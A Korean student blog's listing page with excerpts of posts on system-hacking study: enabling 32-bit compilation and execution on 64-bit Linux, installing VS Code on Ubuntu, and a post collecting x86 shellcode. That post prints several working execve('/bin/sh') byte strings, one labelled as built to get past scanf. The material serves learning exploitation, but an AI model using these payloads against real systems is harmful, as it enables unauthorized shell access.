목록잡담.. (12)
CIDY
시스템 해킹 공부하다가 직접 시도해보고 싶은 코드가 있어서 몇개 컴파일해봤는데 내 리눅스가 64비트라 32비트 짜리로 컴파일을 못한다. sudo apt-get install gcc-multilib 이렇게 해주면 된다. 참고로 컴파일 옵션은 -m64 -m32 이렇게 주면 됨.
예전 과제를 풀어보려고 했는데 터미널에서 32비트 프로그램이 안 돌아간다. 계속 이렇게만 뜸. 일단 내 펭귄은 64비트짜리다. 몇 비트 운영체제인지 확인하는 방법은 다양한데, 아래와 같다. 뭘로보나 64비트 짜리라 32비트 파일 실행이 안 된다. 설치해보라는 라이브러리는 다 설치해봤는데 그래도 안된다. 그래서 어쩔 수 없이 내 펭귄을 삭제하고 다시 깔았더니 다 해결됐다. 아래 코드를 입력해주면 된다. 라이브러리 하나만 깔면 되는것을 뻘짓만 했다. sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install libc6:i386 비록 gdb와 peda와 pwntools 까지 모두 다시 깔아줘야 겠지만 암튼 해결됐다. +혹시 안되면 이것..
직접 쉘코드를 만드는 과정을 겪어보니 쉘코드를 보는 시선이 약간 바뀐 것 같다. 소중한 친구들... 26-byte shell code(x86)_scanf우회 쉘코드 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 25-byte shell code(x86) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26-byte shell code(x86) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69..
이때까지 과제하거나 문제풀 때 그냥 학기초에 설정해 온 대로 vm이나 윈도우 터미널을 열어 우분투를 썼었는데 종강도 했겠다 좀 더 편한 방법을 찾아 이것저것 해보던 중 리눅스에 vs code를 깔아봤다. 나는 Ubuntu-20.04 쓰는중. 펭귄이 인상적이다. 윈도우 터미널(에서 연 우분투)에 아래와 같이 입력해주면 된다. sudo apt-get update sudo apt-get install wget ca-certificates code . 이렇게 설치된 후 원하는 디렉토리에서 code . 를 입력하면 vs code가 실행된다. 바탕화면에서 code .을 한 모습이다. 열려있는 파일은 예전에 과제할 때 작성했던 python코드... 아무튼 vm이나 윈도우 터미널에서 파일을 실행시킬 땐 디렉토리 맞춰 ..